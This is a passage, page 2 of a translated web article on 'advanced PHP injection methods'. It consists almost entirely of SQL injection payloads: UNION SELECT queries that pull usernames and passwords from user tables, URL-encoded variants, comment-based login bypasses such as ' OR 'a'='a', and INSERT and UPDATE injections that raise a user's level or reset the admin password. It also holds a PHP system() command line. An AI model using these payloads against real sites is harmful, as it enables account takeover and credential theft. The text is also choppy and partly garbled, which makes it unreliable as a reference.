SoFunction
Updated on 2025-04-13

Highlights of advanced php injection methods page 2/2


Constructing statement:

select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1) 

select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,username,password from user where userid=1) 

union%20(select%201,0,2,'1999-01-01','a',password%20FROM%20user%20where%20userid%20=%205)%20order%20by%20eventdate 

union%20(select%201,0,12695,'1999-01-01','a',password%20FROM%20user%20where%20userid=13465)%20order%20by%20eventdate 

union %20(select%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20where%20username ='sandflee')%20order%20by%20eventdate(check the id of the sand)

(select a FROM table_name where a=10 AND B=1 ORDER BY a LIMIT 10) 

select * FROM article where articleid='$id' union select * FROM… (If the fields are the same as the database, you can submit directly)

select * FROM article where articleid='$id' union select 1,1,1,1,1,1,1 FROM… (In different cases)

Special tips: Write in forms, search engines, etc.:

"___" 

".__ " 

"% 

%' ORDER BY articleid/* 

%' ORDER BY articleid# 

__' ORDER BY articleid/* 

__' ORDER BY articleid# 

$command = "dir c:\";system($command); 

select * FROM article where articleid='$id' 

select * FROM article where articleid=$id 

1' and 1=2 union select * from user where userid=1/*   changed into

(select * FROM article where articleid='1' and 1=2 union select * from user where userid=1/*') 

1 and 1=2 union select * from user where userid=1 

Statement form: Create a library, insert:

create DATABASE `injection` 

create TABLE `user` ( 

`userid` int(11) NOT NULL auto_increment, 

`username` varchar(20) NOT NULL default '', 

`password` varchar(20) NOT NULL default '', 

PRIMARY KEY (`userid`) 

) ; 

insert INTO `user` VALUES (1, 'swap', 'mypass'); 

If you insert a registered user:

insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1'); 

"insert INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')"; 

insert INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1') 

"insert INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'"; 

insert INTO membres SET login='',password='',nom='',userlevel='3',email='' 

"insert INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')"; 

update user SET password='$password', homepage='$homepage' where id='$id' 

update user SET password='MD5(mypass)' where username='admin'#)', homepage='$homepage' where id='$id' 

"update membres SET password='$pass',nom='$nom',email='$email' where id='$id'"; 

update membres SET password='[PASS]',nom='',userlevel='3',email=' ' where id='[ID]' 

"update news SET Votes=Votes+1, score=score+$note where idnews='$id'"; 

Long-term function:

DATABASE() 

USER() 

SYSTEM_USER() 

SESSION_USER() 

CURRENT_USER() 

for example:

update article SET title=$title where articleid=1 corresponding function

update article SET title=DATABASE() where id=1 

#Update the current database name to the title field

update article SET title=USER() where id=1 

#Update the current mysql username to the title field

update article SET title=SYSTEM_USER() where id=1 

#Update the current MySQL username to the title field

update article SET title=SESSION_USER() where id=1 

#Update the current MySQL username to the title field

update article SET title=CURRENT_USER() where id=1 

#Update the username that matches the current session to the title field

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 

$req = "select * FROM membres where name like '%$search%' ORDER BY name"; 

select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name 

select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name 

select uid FROM admins where login='' OR 'a'='a' AND password='' OR 'a'='a' (classic)

select uid FROM admins where login='' OR admin_level=1#' AND password='' 

select * FROM table where msg like '%hop' 

select uid FROM membres where login='Bob' AND password like 'a%'#' AND password='' 

select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name
Previous page12Read the full text